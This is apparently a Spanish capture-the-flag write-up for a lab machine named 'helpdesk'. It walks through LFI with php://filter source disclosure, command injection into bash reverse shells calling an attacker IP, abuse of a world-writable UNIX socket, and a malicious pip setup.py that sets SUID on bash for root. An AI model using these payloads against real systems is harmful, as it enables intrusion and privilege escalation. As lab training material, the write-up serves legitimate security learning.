Enumeración y lectura del código fuente
Enumeramos puertos:
❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 172.24.125.228
...
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.13
80/tcp open http Apache httpd
|_http-title: HelpDesk Ticket System
...Enumeramos directorios con gobuster (login.php, panel.php, ticket.php, debug.php):
❯ gobuster dir -u 'http://172.24.125.228' -w directory-list-2.3-medium.txt -x php,txt,html,sql,xml,zip,sh,db -r
login.php index.php ticket.php panel.php debug.php helpdeskFuzzeando parámetros de ticket.php damos con url, vulnerable a LFI:
❯ ffuf -u 'http://172.24.125.228/ticket.php?FUZZ=../../../../../../etc/passwd' -w directory-list-2.3-medium.txt -fs 204
...
url [Status: 200, ...]
...
❯ curl 'http://172.24.125.228/ticket.php?url=../../../../../../etc/passwd'
...
mrmidnight:x:1000:1000:MrMidnight:/home/mrmidnight:/bin/bash
helpdesk:x:1001:1001::/home/helpdesk:/bin/bash
...El LFI también acepta el wrapper php://filter. Aplicamos convert.base64-encode para obtener el código fuente de login.php sin que PHP lo ejecute; después decodificamos la respuesta y encontramos el usuario junto con la contraseña indicada en el comentario:
❯ curl 'http://172.24.125.228/ticket.php?url=php://filter/convert.base64-encode/resource=login.php'
...
❯ echo 'PD9waHAK...' | base64 -d
...
$stored_user = 'helpdesk';
// SHA-512 hash for password: ticketmaster
...Acceso inicial desde el panel de diagnóstico
Tras autenticarnos con helpdesk:ticketmaster, el panel acepta un comando de diagnóstico y lo entrega al shell del sistema. Esta OS Command Injection permite abrir una reverse shell; la conexión recibida muestra que el proceso web se ejecuta como www-data:
Enter system command: bash -c 'bash -i >& /dev/tcp/172.24.125.35/1234 0>&1'
❯ ncat -nlvp 1234
Ncat: Connection from 172.24.125.228:44666.
www-data@helpdesk:/var/www/html$Cambio de identidad mediante un socket UNIX
En /opt/helpdesk-socket, serve.sh crea un socket UNIX con modo 777. Cualquier usuario local puede escribir en él. Por cada conexión, socat inicia handler.sh bajo la identidad del servicio; el script lee una línea y la ejecuta con /bin/bash -c. El problema no es el socket por sí solo, sino combinar permisos de escritura globales con un consumidor que ejecuta la entrada como helpdesk:
www-data@helpdesk:/opt/helpdesk-socket$ cat serve.sh
/usr/bin/socat -d -d UNIX-LISTEN:$SOCKET,fork,mode=777 EXEC:/opt/helpdesk-socket/handler.sh
www-data@helpdesk:/opt/helpdesk-socket$ cat handler.sh
#!/bin/bash
read cmd
echo "[HelpDesk Automation] Executing: $cmd"
/bin/bash -c "$cmd"Primero enviamos id para confirmar la identidad del consumidor. Después entregamos una reverse shell por el mismo canal para obtener una sesión interactiva como helpdesk:
www-data@helpdesk:/opt/helpdesk-socket$ echo id | socat - UNIX-CONNECT:/opt/helpdesk-socket/helpdesk.sock
[HelpDesk Automation] Executing: id
uid=1001(helpdesk) gid=1001(helpdesk) groups=1001(helpdesk)www-data@helpdesk:/opt/helpdesk-socket$ echo 'bash -i >& /dev/tcp/172.24.125.35/4321 0>&1' | socat - UNIX-CONNECT:/opt/helpdesk-socket/helpdesk.sock
❯ ncat -nlvp 4321
Ncat: Connection from 172.24.125.228:56230.
helpdesk@helpdesk:/$Escalada de privilegios mediante pip3
Después de obtener la primera flag, revisamos sudo -l:
helpdesk@helpdesk:~$ sudo -l
...
User helpdesk may run the following commands on helpdesk:
(ALL) NOPASSWD: /usr/bin/pip3 install --break-system-packages *La regla permite instalar como root cualquier paquete local mediante pip3. Una instalación puede ejecutar la lógica definida por su paquete, por lo que este abuso de un programa autorizado por sudo cruza el límite entre controlar un archivo de instalación y ejecutar código como root. Creamos un paquete cuya clase de instalación añade SUID a Bash:
❯ cat setup.py
from setuptools import setup
from setuptools.command.install import install
import os
class CustomInstall(install):
def run(self):
os.system("chmod +s /bin/bash")
install.run(self)
setup(name="package", version="0.1", packages=["package"], cmdclass={'install': CustomInstall})❯ python setup.py sdist bdist_wheel
helpdesk@helpdesk:/tmp$ wget http://172.24.125.35:8000/package-0.1.tar.gz
helpdesk@helpdesk:/tmp$ sudo /usr/bin/pip3 install --break-system-packages package-0.1.tar.gz
helpdesk@helpdesk:/tmp$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1446024 Mar 31 2024 /bin/bash
helpdesk@helpdesk:/tmp$ bash -p
bash-5.2# whoami
rootbash -p conserva el UID efectivo aportado por SUID y whoami confirma la identidad root.
Fin.